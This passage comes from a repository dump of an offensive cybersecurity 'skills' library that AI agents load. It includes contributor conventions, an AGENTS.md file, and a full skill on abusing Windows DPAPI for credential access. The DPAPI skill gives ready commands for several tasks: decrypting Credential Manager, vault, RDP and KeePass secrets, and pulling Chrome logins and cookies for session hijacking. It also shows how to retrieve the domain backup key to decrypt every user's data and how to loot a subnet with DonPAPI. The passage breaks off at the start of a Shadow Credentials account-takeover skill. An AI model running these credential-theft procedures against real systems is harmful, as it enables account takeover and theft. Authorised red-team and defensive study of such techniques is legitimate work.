applicable.\n\n## When to Use\n\n- Specific scenario 1\n- Specific scenario 2\n- Real-world contexts where this skill applies\n\n## Prerequisites\n\n- Required tools (with install commands if applicable)\n- Required access/permissions\n- Required knowledge/certifications\n- System requirements\n\n## Workflow\n\n### Step 1: [Action]\nClear instructions with real commands.\n```bash\ntool-name --flag value\n```\n\n### Step 2: [Next Action]\nContinue with detailed steps.\n\n### Output Format\n\nWhat success looks like:\n```\nExpected output or indicator\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| Concept1 | Explanation |\n| Concept2 | Explanation |\n\n## Tools & Systems\n\n- **Tool A** — What it does, where to get it\n- **Tool B** — What it does, where to get it\n\n## Common Scenarios\n\n### Scenario 1\nWhen X, do Y.\n\n### Scenario 2\nWhen A, do B.\n\n## References\n\n- [MITRE ATT&CK: T1555.004](https://attack.mitre.org/techniques/T1555/004/)\n- [NIST CSF: DE.CM-01](https://csrc.nist.gov/)\n```\n\n### Framework Mappings\n\nEach skill can map to multiple frameworks. Key mappings:\n\n| Framework | Scope | Example |\n|-----------|-------|---------|\n| **MITRE ATT&CK** | Adversarial tactics/techniques | T1555.004 (Credentials from Password Stores) |\n| **NIST CSF 2.0** | Cybersecurity functions & categories | DE.CM (Detect - Monitor) |\n| **MITRE ATLAS** | AI/ML system attacks | AML.P (AI Preparation) |\n| **MITRE D3FEND** | Defensive techniques | D3-CAA (Capture Analysis Analytics) |\n| **NIST AI RMF** | AI risk management | GOV (Governance) |\n| **MITRE F3** | Fraud-specific techniques | FI-B (Fraud Impact) |\n\n### Subdomains (Choose One)\n\n- **web-application-security** — OWASP, API, web app testing\n- **network-security** — Network tools, protocols, monitoring\n- **penetration-testing** — General penetration testing methodology\n- **red-teaming** — Simulating advanced attackers (C2, evasion, etc.)\n- **digital-forensics** — Incident response, forensic analysis, disk imaging\n- **malware-analysis** — Static/dynamic malware analysis, reverse engineering\n- **threat-intelligence** — Gathering, analyzing, sharing threat data\n- **cloud-security** — AWS/Azure/GCP-specific security\n- **container-security** — Docker, Kubernetes, container runtime\n- **identity-access-management** — Active Directory, IAM, authentication\n- **cryptography** — Encryption, hashing, key management\n- **vulnerability-management** — Scanning, assessment, remediation\n- **compliance-governance** — CMMC, HIPAA, SOC2, auditing\n- **zero-trust-architecture** — Zero-trust implementation patterns\n- **ot-ics-security** — Operational technology, ICS/SCADA\n- **devsecops** — Secure software development, CI/CD security\n\n## Conventions & Patterns\n\n### Naming\n\n- **Directory/file**: kebab-case, lowercase with hyphens (e.g., `abusing-dpapi-for-credential-access`)\n- **Skill name**: Same as directory (in YAML frontmatter)\n- **GitHub usernames**: Use lowercase GitHub username as author\n\n### Description Quality\n\nDescriptions should be **agent-discoverable** — concise, keyword-rich, action-oriented:\n\n```yaml\n# ✗ Vague\ndescription: How to abuse DPAPI\n\n# ✓ Clear and searchable\ndescription: >-\n  Extract DPAPI-protected secrets such as credentials and browser data\n  offline and online using SharpDPAPI, Mimikatz, or impacket. Ideal\n  for post-exploitation Windows credential harvesting and offline analysis.\n```\n\n### Tags Strategy\n\nUse 3-5 tags for discoverability:\n\n```yaml\ntags:\n  - tool-names           # mimikatz, sharpdpapi, burp-suite\n  - attack-frameworks    # active-directory, kerberos, oauth\n  - techniques           # credential-access, privilege-escalation, lateral-movement\n  - platforms            # windows, linux, macos, cloud\n  - use-cases            # post-exploitation, threat-intel, forensics\n```\n\n### Framework ID Format\n\nIDs are **case-sensitive** and **exact**:\n\n```yaml\nmitre_attack:\n  - T1055                   # Parent technique\n  - T1055.001               # Sub-technique\nnist_csf:\n  - DE.CM-01                # NIST Cybersecurity Framework 2.0\nmitre_atlas:\n  - AML.P1.003              # MITRE ATLAS for AI/ML\nmitre_d3fend:\n  - D3-CAA                  # MITRE D3FEND defensive technique ID\nnist_ai_rmf:\n  - GOV-1                   # NIST AI Risk Management Framework\nmitre_f3:\n  - FI-B-003                # MITRE Fight Fraud Framework\n```\n\n## Common Tasks\n\n### Adding a New Skill\n\n1. **Create skill directory** (kebab-case):\n   ```bash\n   mkdir -p skills/your-skill-name\n   ```\n\n2. **Create SKILL.md** with required frontmatter:\n   ```bash\n   cat > skills/your-skill-name/SKILL.md << 'EOF'\n   ---\n   name: your-skill-name\n   description: >-\n     Clear, discoverable description with keywords.\n   domain: cybersecurity\n   subdomain: red-teaming\n   tags:\n     - tool-name\n     - technique\n     - use-case\n   version: \"1.0\"\n   author: your-github-username\n   license: Apache-2.0\n   mitre_attack:\n     - T1234.567\n   nist_csf:\n     - DE.CM-01\n   mitre_atlas:\n     - AML.P1.003\n   mitre_d3fend:\n     - D3-CAA\n   nist_ai_rmf:\n     - GOV-1\n   mitre_f3:\n     - FI-B-003\n   ---\n   \n   # Skill Title\n   \n   > **Legal Notice:** Authorized use only. [...]\n   \n   ## Overview\n   \n   Clear explanation...\n   EOF\n   ```\n\n3. **Write detailed sections** in Markdown:\n   - When to Use (specific scenarios)\n   - Prerequisites (tools, permissions, access)\n   - Workflow (numbered steps with real commands)\n   - Key Concepts (table for terminology)\n   - Tools & Systems\n   - Common Scenarios\n   - References (framework links)\n\n4. **Add optional supporting files**:\n   ```\n   scripts/process.py         # Helper script or agent implementation\n   references/standards.md    # CVE, NIST, MITRE links\n   references/workflows.md    # Deep technical procedures\n   ```\n\n5. **Add LICENSE**:\n   ```bash\n   cp LICENSE skills/your-skill-name/LICENSE\n   # Or use a specific open-source license file\n   ```\n\n6. **Regenerate index** (if automation exists):\n   ```bash\n   python3 generate_index.py  # Updates index.json\n   ```\n\n7. **Submit PR**:\n   ```bash\n   git add skills/your-skill-name\n   git commit -m \"Add skill: your-skill-name\"\n   git push origin feature/add-skill-name\n   # Create PR with title: \"Add skill: your-skill-name\"\n   ```\n\n### Updating Framework Mappings\n\nIf a skill maps to new frameworks or techniques change:\n\n1. **Update SKILL.md frontmatter**:\n   ```yaml\n   mitre_attack:\n     - T1555.004      # Add new technique IDs\n   nist_csf:\n     - DE.CM-01       # Add new control IDs\n   ```\n\n2. **Regenerate index** (if automation exists):\n   ```bash\n   python3 generate_index.py\n   ```\n\n3. **Verify mapping coverage**:\n   ```bash\n   # Check if all referenced IDs are valid:\n   grep -r \"T1[0-9]\" skills/*/SKILL.md | grep -v \"http\"\n   ```\n\n### Searching Skills\n\n**By keyword**:\n```bash\ngrep -r \"active-directory\" skills/*/SKILL.md\n```\n\n**By framework**:\n```bash\ngrep -r \"T1055\" skills/*/SKILL.md  # MITRE ATT&CK technique\n```\n\n**By subdomain**:\n```bash\ngrep \"subdomain: red-teaming\" skills/*/SKILL.md\n```\n\n**Using jq (if index.json exists)**:\n```bash\n# Find skills by keyword\njq '.skills[] | select(.tags[] | contains(\"credential-access\"))' index.json\n\n# Count skills by subdomain\njq '[.skills[] | .subdomain] | group_by(.) | map({subdomain: .[0], count: length})' index.json\n```\n\n## Platform & Framework Notes\n\n### Windows-Specific Skills\n\n- Often leverage PowerShell, Windows APIs, Active Directory\n- Reference MITRE ATT&CK Windows tactics: T1021 (Lateral Movement), T1078 (Valid Accounts)\n- Include prerequisite (SYSTEM/Administrator access, domain join, etc.)\n\n### Linux/macOS Skills\n\n- Use standard Unix tools (bash, Python, curl, etc.)\n- Note platform availability differences\n- Cloud/container skills often multi-platform\n\n### Cloud Security Skills\n\n- Specify cloud provider (AWS, Azure, GCP, multi-cloud)\n- Reference cloud-specific tools (awscli, az, gcloud)\n- Map to cloud-specific MITRE ATLAS techniques\n\n### AI/ML Attack Skills\n\n- Use MITRE ATLAS techniques (AML.P1, AML.E1, etc.)\n- Include model/system type (LLM, transformer, computer vision, etc.)\n- Note NIST AI RMF alignment (GOV, MAP, MEASURE, MANAGE)\n\n## Gotchas & Known Issues\n\n### Legal & Ethical\n\n- **Dual-use policy**: Skills for red-teaming and exploitation require legal notice\n  - Must include \"authorized use only\" disclaimer\n  - Reference SECURITY.md for policy\n- **No credentials**: Never embed API keys, tokens, or credentials\n- **Attribution**: Cite original tool authors and researchers\n\n### Framework Maintenance\n\n- **MITRE ATT&CK updates**: v14 is current; check attack.mitre.org for latest\n- **NIST CSF 2.0**: Rolled out Feb 2024; use subcategory IDs as in this repo (e.g., `DE.CM-01`, `PR.PS-01`)\n- **Technique changes**: Techniques may deprecate; verify via attack.mitre.org\n\n### Subdomain Assignment\n\n- **Common mistake**: Using wrong subdomain (e.g., \"red-teaming\" for defensive skill)\n  - red-teaming = offensive/attacker perspective\n  - compliance-governance = defensive/compliance perspective\n  - Choose the **primary** subdomain if skill spans multiple\n\n### index.json Generation\n\n- If index doesn't auto-regenerate, manually verify:\n  ```bash\n  # Count skills in index vs directories\n  jq '.skills | length' index.json\n  ls -d skills/*/ | wc -l\n  # Should match (or index may be stale)\n  ```\n\n## Testing & Quality\n\n### Skill Quality Checklist\n\nBefore submitting a PR:\n\n- [ ] **Name**: Kebab-case, 1-64 chars, descriptive\n- [ ] **Description**: Clear, includes keywords, discoverable by agents\n- [ ] **Instructions**: Actionable with real commands and tool names\n- [ ] **Subdomain**: Correctly assigned (red-teaming vs defensive)\n- [ ] **Tags**: 3-5 relevant tags (tools, techniques, platforms)\n- [ ] **Framework IDs**: Valid MITRE ATT&CK, NIST CSF, MITRE ATLAS IDs\n- [ ] **Legal notice**: Included if skill is offensive/dual-use\n- [ ] **References**: Links to official framework docs\n- [ ] **Formatting**: Proper Markdown, no typos, code blocks highlighted\n\n### Manual Verification\n\n```bash\n# Validate skill frontmatter and conventions (repo validator):\npython3 tools/validate-skill.py skills/my-skill/\n# Or validate all skills:\npython3 tools/validate-skill.py --all\n\n# Check for framework ID patterns:\ngrep -E \"^  - (T1[0-9]{3,4}(\\.[0-9]{3})?|DE\\.[A-Z]{2}-[0-9]{2}|AML\\.)\" skills/*/SKILL.md\n\n# Verify all referenced skills have directories:\njq -r '.skills[].name' index.json | while read skill; do\n  [ -d \"skills/$skill\" ] || echo \"Missing: $skill\"\ndone\n```\n\n## Contributing Notes\n\n- **No build required** — Skills are static files; git pull = ready to use\n- **Skill dependencies**: Skills are independent; if skill A requires skill B, note it in the workflow\n- **Tool versions**: Mention tool versions in prerequisites (e.g., \"Burp Suite 2024.1+\")\n- **Testing**: Test commands on actual systems before submitting\n- **Code of Conduct**: See CODE_OF_CONDUCT.md — be respectful, follow ethical use policy\n\n## Resources & Links\n\n- **agentskills.io Standard**: https://agentskills.io (format specification)\n- **MITRE ATT&CK**: https://attack.mitre.org (techniques, tactics)\n- **NIST Cybersecurity Framework**: https://csrc.nist.gov/projects/cybersecurity-framework (controls)\n- **MITRE ATLAS**: https://atlas.mitre.org (AI/ML attacks)\n- **MITRE D3FEND**: https://d3fend.mitre.org (defensive techniques)\n- **NIST AI RMF**: https://nvlabs.nist.gov/display/AIRFF (AI risk management)\n- **Contributing Guide**: `CONTRIBUTING.md` in repo\n- **Security Policy**: `SECURITY.md` — dual-use & ethical use\n- **Code of Conduct**: `CODE_OF_CONDUCT.md`\n- **Community Playground**: https://casky.ai (test skills in browser)\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Add skill | `mkdir skills/name && cat > SKILL.md` |\n| Search by technique | `grep -r \"T1055\" skills/` |\n| Search by subdomain | `grep \"subdomain: red-teaming\" skills/*/SKILL.md` |\n| Validate skill | `python3 tools/validate-skill.py skills/my-skill/` |\n| Regenerate index | `python3 generate_index.py` (if exists) |\n| View mapping coverage | Open `mappings/mitre-attack/attack-navigator-layer.json` in ATT&CK Navigator |\n","AGENTS.md":"# AGENTS.md\n\nInstructions for AI agents working in this repository.\n\n## What this repository is\n\nA library of 817 cybersecurity skills. Each skill is a directory under `skills/` containing a `SKILL.md` — YAML frontmatter plus a Markdown procedure — following the [agentskills.io](https://agentskills.io) standard.\n\nThe layout is flat: `skills/<skill-name>/SKILL.md`. Do not nest skills by domain; agents discover them by scanning `skills/*/SKILL.md`.\n\n## Reading a skill\n\nOnly `name` and `description` load at discovery time. The body loads once the description matches the request; `references/`, `scripts/` and `assets/` load only when referenced.\n\nRead the description first. If it carries a negative trigger — \"Do not use for X — use `other-skill`\" — honour it. Those exist because two skills would otherwise compete for the same request.\n\n## Changing a skill\n\nFrontmatter is parsed by `tools/skill_frontmatter.py`, which uses PyYAML. Do not write a regex frontmatter parser; CI fails the build if it detects one. Three hand-rolled parsers previously truncated 604 of 817 descriptions to their first line.\n\nAfter changing any `SKILL.md`:\n\n```bash\npip install pyyaml\npython tools/validate-skill.py --all\npython tools/validate-agentskills.py --strict\npython tools/generate-index.py          # regenerate index.json\npython tools/lint-descriptions.py --all\npython tools/detect-collisions.py\n```\n\nAll five run in CI. `index.json` is generated — never edit it by hand.\n\n## Writing a description\n\nThe description is the only signal another agent sees when deciding whether to load the skill. It needs four things:\n\n1. What it does, concretely.\n2. `Use when …` — the phrasings a user would actually type.\n3. `Keywords:` — tool names, event IDs, CVEs, API calls.\n4. `Do not use for X — use other-skill.` — the negative trigger.\n\nKeep it under 1024 characters. Keep the body under 500 lines; depth belongs in `references/`.\n\n## Constraints\n\n- `name` must equal the directory name, lowercase-kebab, ≤64 characters.\n- `domain` is always `cybersecurity`. `subdomain` must be one the validator accepts — see CONTRIBUTING.md.\n- Scripts must run. No placeholders, no invented API endpoints, no fabricated CVE numbers.\n- Framework IDs must be real and current. A wrong mapping sends an investigation the wrong way; omit rather than guess.\n\n## Scope\n\nSee [SCOPE.md](SCOPE.md). This repository holds skills. Runtimes, engines and applications belong elsewhere.\n","skills/abusing-dpapi-for-credential-access/SKILL.md":"---\nname: abusing-dpapi-for-credential-access\ndescription: Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- credential-access\n- dpapi\n- sharpdpapi\n- post-exploitation\n- active-directory\n- windows\n- mimikatz\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1555.004\n---\n# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\<SID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online / context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `/unprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `/password:` or `/ntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `/pvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote/offline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS/Protect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild\ngit clone https://github.com/GhostPack/SharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln /p:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https://github.com/gentilkiwi/mimikatz/releases\n\n# Linux remote/offline triage (Impacket)\npipx install impacket            # provides dpapi.py / impacket-dpapi\npipx install donpapi             # https://github.com/login-securite/DonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`/unprotect`), with a password/hash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys / backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage /unprotect\n\n# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current/specified user's master keys with the password\nSharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials/vaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `/pvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials /target:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ /pvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults /pvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg /unprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass /unprotect\n\n# Certificate private keys (export usable .pem with /showall for all stores)\nSharpDPAPI.exe certificates /unprotect /showall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins /unprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies /target:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" /pvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys /unprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote / Linux-based triage (Impacket / DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage/decryption (C#) | https://github.com/GhostPack/SharpDPAPI |\n| SharpChrome | Chromium logins/cookies/state-key decryption | https://github.com/GhostPack/SharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https://github.com/gentilkiwi/mimikatz |\n| Impacket dpapi.py | Remote/offline DPAPI decryption (Python) | https://github.com/fortra/impacket |\n| DonPAPI | Mass remote DPAPI looting | https://github.com/login-securite/DonPAPI |\n| HackTricks DPAPI | Technique reference | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `/unprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect/Credentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` / `machinetriage`.\n- [ ] User master keys decrypted via `/unprotect`, `/password:`, `/ntlm:`, or `/pvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP / KeePass / certificate secrets extracted where present.\n- [ ] Browser logins/cookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host/user and ROE adherence confirmed.\n","skills/abusing-dpapi-for-credential-access/references/api-reference.md":"# SharpDPAPI / DPAPI — Command Reference\n\n## SharpDPAPI User Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `triage` | Auto-run credentials, vaults, rdg, certificates | `SharpDPAPI.exe triage /unprotect` |\n| `masterkeys` | Decrypt user master keys (GUID:SHA1 output) | `SharpDPAPI.exe masterkeys /password:Pass` |\n| `credentials` | Decrypt Credential Manager blobs | `SharpDPAPI.exe credentials /pvk:key.pvk` |\n| `vaults` | Decrypt Credential Vault entries | `SharpDPAPI.exe vaults /pvk:key.pvk` |\n| `rdg` | Decrypt RDCMan.settings RDP passwords | `SharpDPAPI.exe rdg /unprotect` |\n| `keepass` | Decrypt KeePass DPAPI keys | `SharpDPAPI.exe keepass /unprotect` |\n| `certificates` | Decrypt certificate private keys | `SharpDPAPI.exe certificates /unprotect /showall` |\n\n## SharpDPAPI Machine Commands (require admin/SYSTEM)\n\n| Command | Purpose |\n|---------|---------|\n| `machinemasterkeys` | Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret) |\n| `machinecredentials` | Decrypt machine credential blobs |\n| `machinevaults` | Decrypt machine vault entries |\n| `machinetriage` | Run all machine-scoped triage commands |\n\n## SharpDPAPI Supporting Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `backupkey` | Retrieve domain DPAPI backup key (.pvk) via MS-BKRP | `SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk` |\n\n## Common Flags\n\n| Flag | Meaning |\n|------|---------|\n| `/unprotect` | Use live `CryptUnprotectData` in current user context (online) |\n| `/password:<pw>` | Decrypt master keys with the user's plaintext password |\n| `/ntlm:<hash>` | Decrypt master keys with the user's NTLM hash |\n| `/pvk:<file>` | Use domain backup private key for decryption |\n| `/mkfile:<file>` | Provide a specific master key file |\n| `/server:<dc>` | Target DC for backupkey retrieval |\n| `/target:<path>` | Target file/folder to decrypt |\n| `/rpc` | Use RPC to request master key decryption from a DC |\n| `/showall` | Show all certificate stores / verbose output |\n\n## SharpChrome Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `logins` | Decrypt saved browser logins | `SharpChrome.exe logins /unprotect` |\n| `cookies` | Decrypt browser cookies | `SharpChrome.exe cookies /pvk:key.pvk` |\n| `statekeys` | Decrypt the AES app-bound state key | `SharpChrome.exe statekeys /unprotect` |\n\n## Impacket dpapi.py (Linux)\n\n| Subcommand | Purpose | Example |\n|------------|---------|---------|\n| `masterkey` | Decrypt a master key file | `impacket-dpapi masterkey -file MK -pvk key.pvk` |\n| `credential` | Decrypt a credential blob | `impacket-dpapi credential -file CRED -key 0x<mk>` |\n| `vault` | Decrypt vault policy/creds | `impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk>` |\n| `backupkeys` | Retrieve domain backup keys | `impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk` |\n\n## Key File Locations\n\n| Path | Contents |\n|------|----------|\n| `%APPDATA%\\Microsoft\\Protect\\<SID>\\` | User master keys |\n| `%WINDIR%\\System32\\Microsoft\\Protect\\` | Machine master keys |\n| `%LOCALAPPDATA%\\Microsoft\\Credentials\\` | Credential Manager blobs |\n| `%APPDATA%\\Microsoft\\Vault\\` / `%LOCALAPPDATA%\\Microsoft\\Vault\\` | Credential Vault |\n\n## External References\n\n- SharpDPAPI README: https://github.com/GhostPack/SharpDPAPI\n- Impacket: https://github.com/fortra/impacket\n","skills/abusing-dpapi-for-credential-access/references/standards.md":"# Standards and References — Abusing DPAPI for Credential Access\n\n## NIST CSF 2.0\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | DPAPI abuse generates detectable signals (MS-BKRP backup-key RPC to the DC, Protect/Credentials folder access, LSASS access) that monitoring must surface. |\n\n## MITRE ATT&CK\n\n| Technique ID | Name | Tactic | Rationale |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager/Vault entries; decrypting them recovers stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected browser logins/cookies. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys and the domain backup key dumps credential material. |\n\n## Supporting Frameworks and Standards\n\n- **MS-BKRP** — BackupKey Remote Protocol; the RPC interface used to retrieve the domain DPAPI backup key.\n- **MS-DPSP / DPAPI** — Microsoft's Data Protection API specification governing master keys and blob protection.\n- **D3FEND** — Credential Eviction / Password Rotation as mitigations after DPAPI compromise.\n\n## Official Resources\n\n- SharpDPAPI / SharpChrome: https://github.com/GhostPack/SharpDPAPI\n- Mimikatz: https://github.com/gentilkiwi/mimikatz\n- Impacket: https://github.com/fortra/impacket\n- DonPAPI: https://github.com/login-securite/DonPAPI\n- HackTricks DPAPI: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html\n- SpecterOps \"Operational Guidance for Offensive User DPAPI Abuse\": https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107\n","skills/abusing-shadow-credentials-for-privesc/SKILL.md":"---\nname: abusing-shadow-credentials-for-privesc\ndescription: Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- active-directory\n- shadow-credentials\n- pywhisker\n- certipy\n- pkinit\n- key-credential-link\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1098.005\n---\n# Abusing Shadow Credentials for Privilege Escalation\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.\n\n## Overview\n\nThe **Shadow Credentials** technique abuses the `msDS-KeyCredentialLink` attribute of Active Directory user and computer objects. This attribute stores raw public keys (\"Key Credentials\") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's `msDS-KeyCredentialLink` — typically granted by `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover **without resetting the password**, which is far stealthier than a forced password 